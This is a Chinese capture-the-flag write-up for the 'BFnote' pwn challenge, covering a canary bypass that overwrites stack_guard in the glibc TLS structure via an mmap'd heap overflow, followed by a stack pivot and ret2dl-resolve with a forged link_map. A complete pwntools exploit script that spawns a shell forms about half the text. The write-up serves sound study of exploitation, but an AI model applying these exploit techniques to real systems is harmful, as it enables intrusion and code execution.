0%

BFnote(修改TLS结构来bypass canary)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

一开始处,有一个栈溢出漏洞,但是由于开启了canary保护,得想办法绕过canary。下方的堆溢出,[不仔细看还发现不了,v4只有一开始被初始化,在循环里,只有i被重新赋值,v4没变,而下方又用到了v4。]{.mark}

这题是可以绕过canary的,这就牵涉到了一个知识点。

在linux下,有一种线程局部存储(Thread Local Storage)机制,简称TLS。它主要存储着一个线程的一些全局变量。它的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct  
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;

而我们的canary是怎么取得的呢

而gs或者fs寄存器就正好指向的是这个结构。结构里的uintptr_t stack_guard就是canary值,因此,绕过我们能利用漏洞篡改这个结构里的stack_guard值,也就可以绕过canary了。

在glibc2.23中,[这个结构存储在一块mmap出的内存里,在libc.so的上方,如果是其他版本的glibc,则不一定。]{.mark}

如果我们能够**[申请一块堆到debug001的上方,利用堆溢出,便能修改到debug001,也就是能修改到TLS结构。]{.mark}**正好,本题malloc的大小不受限制,我们只需要malloc一个很大的堆>=0x20000,malloc就会使用mmap来分配内存,正好可以分配到debug001上方。

当我们申请到了上方后,不能直接覆盖TLS结构,因为在[stack_guard]{.mark} 变量前面的几个变量更系统调用有关,不能改了,因此我们不能覆盖,而应该单独修改[stack_guard]{.mark}的值。那么我们可以利用下标越界溢出来修改

通过调试,计算出偏移,然后修改即可。

1
2
3
4
5
6
7
8
9
10
#mmap一个合适堆,在glibc2.23下可以分配到TLS结构上方附近  
sh.sendlineafter('Give your notebook size : ',str(1024*130))
overflow_len = 0x216FC
#初始化v4
sh.sendlineafter('Give your title size : ',str(overflow_len))
sh.sendlineafter('invalid ! please re-enter :','1')
sh.sendafter('Give your title : ','a')
#绕过canary的重点在这里,将TLS里的canary覆盖为aaaa
#raw_input()
sh.sendafter('Give your note :','aaaa')

接下来,就是一个栈溢出了。

但是在ebp上方,取ecx的值作为地址取一个值,这意味着,我们不能覆盖ebp+var_4,这也就意味着我们不能覆盖到main函数的返回地址。

由此,[我们将ebp+var_4覆盖为bss的地址,这样,就可以栈迁移到bss段,然后在bss段进行ROP。]{.mark}

然后,我们注意到**[本题的输出,用的是fwrite、fprintf,这使得我们很难找到合适的gadget来控制参数。并且,这些函数的空间花销很大]{.mark}**,调用需要开辟较大的栈空间,但是我们的bss段不允许。

经过再三的思考,最终,我们用到了ret2dl-resolve来解。Ret2dl-resolve详见https://blog.csdn.net/seaaseesa/article/details/104478081,通过伪造link_map,实现任意函数,任意地址动态解析。[用ret2dl-resolve时,需要注意对齐。不然偏移计算会有偏差]{.mark}

综上,我们的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding:utf8  
#32位下的ret2dl-resolve,伪造link_map实现任意地址解析
from pwn import *

sh = process('./BFnote',env={"LD_PRELOAD":"./libc.so.6"})
#sh = remote('123.56.85.29',6987)
libc = ELF('./libc.so.6')
elf = ELF('./BFnote')
read_got = elf.got['read']
read_plt = elf.plt['read']
bss = 0x804A040
pop_ebp = 0x80489db
leave_ret = 0x8048578
one_gadget = 0x3a80c

l_addr = one_gadget - libc.sym['read']
#注意,只要是可读写的内存地址即可,调试看看就知道了
r_offset = bss + l_addr * -1

#负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x100000000

#栈迁移
payload = 'a'*0x3A + p32(bss+0x100)
sh.sendafter('Give your description : ',payload)

#dl-runtime-resolve
#真正的dynsym的起始地址
dynsym_addr = 0x80481D8
#真正的dynstr的地址
dynstr = 0x80481D8
#调用dll_runtime_resolve处
plt_load = 0x8048456

#我们准备把link_map放置在bss+0x20处
fake_link_map_addr = bss + 0x600
#假的dyn_strtab
fake_dyn_strtab_addr = fake_link_map_addr + 0x4
fake_dyn_strtab = p32(0) + p32(dynstr) #fake_link_map_addr + 0x8
#假的dyn_symtab,我们要让对应的dynsym里的st_value指向一个已经解析过的函数的got表
#其他字段无关紧要,所以,我们让dynsym为read_got - 0x4,这样,相当于把read_got - 0x4处开始当做一个dynsym,这样st_value正好对应了read的地址
#并且(*(sym+5))&0x03 != 0也成立
fake_dyn_symtab_addr = fake_link_map_addr + 0xC
fake_dyn_symtab = p32(0) + p32(read_got - 0x4) #fake_link_map_addr + 0xC
#假的dyn_rel
fake_dyn_rel_addr = fake_link_map_addr + 0x14
fake_dyn_rel = p32(0) + p32(fake_link_map_addr + 0x1C) #fake_link_map_addr + 0x14
#假的rel.plt
fake_rel = p32(r_offset) + p32(0x7) + p32(0) #fake_link_map_addr + 0x1C
#l_addr
fake_link_map = p32(l_addr)
#由于link_map的中间部分在我们的攻击中无关紧要,所以我们把伪造的几个数据结构也放当中
fake_link_map += fake_dyn_strtab
fake_link_map += fake_dyn_symtab
fake_link_map += fake_dyn_rel
fake_link_map += fake_rel
fake_link_map = fake_link_map.ljust(0x34,'\x00')
#dyn_strtab的指针
fake_link_map += p32(fake_dyn_strtab_addr)
#dyn_strsym的指针
fake_link_map += p32(fake_dyn_symtab_addr) #fake_link_map_addr + 0x38
#存入/bin/sh字符串
fake_link_map += '/bin/sh'.ljust(0x40,'\x00')
#在fake_link_map_addr + 0x7C处,是rel.plt指针
fake_link_map += p32(fake_dyn_rel_addr)

#栈迁移后,我们再继续迁移一次,扩大空间,为dl-resolve做准备
payload1 = 'a'*0xDC + p32(pop_ebp) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x600) + p32(0x1000)
#第一次,我们做栈迁移,同时继续调用read读取下一轮数据
sh.sendlineafter('Give your postscript : ',payload1)
#mmap一个合适堆,在glibc2.23下可以分配到TLS结构上方附近
sh.sendlineafter('Give your notebook size : ',str(1024*130))
overflow_len = 0x216FC
#初始化v4
sh.sendlineafter('Give your title size : ',str(overflow_len))
sh.sendlineafter('invalid ! please re-enter :','1')
sh.sendafter('Give your title : ','a')
#绕过canary的重点在这里,将TLS里的canary覆盖为aaaa
#raw_input()
sh.sendafter('Give your note :','aaaa')

#第二次,我们发送伪造的数据结构和dl-resolve的rop
rop = '\x00'*0x4 + p32(plt_load) + p32(fake_link_map_addr) + p32(0) + 'aaaa'
payload = fake_link_map.ljust(0x200,'\x00') + rop
sh.sendline(payload)

sh.interactive()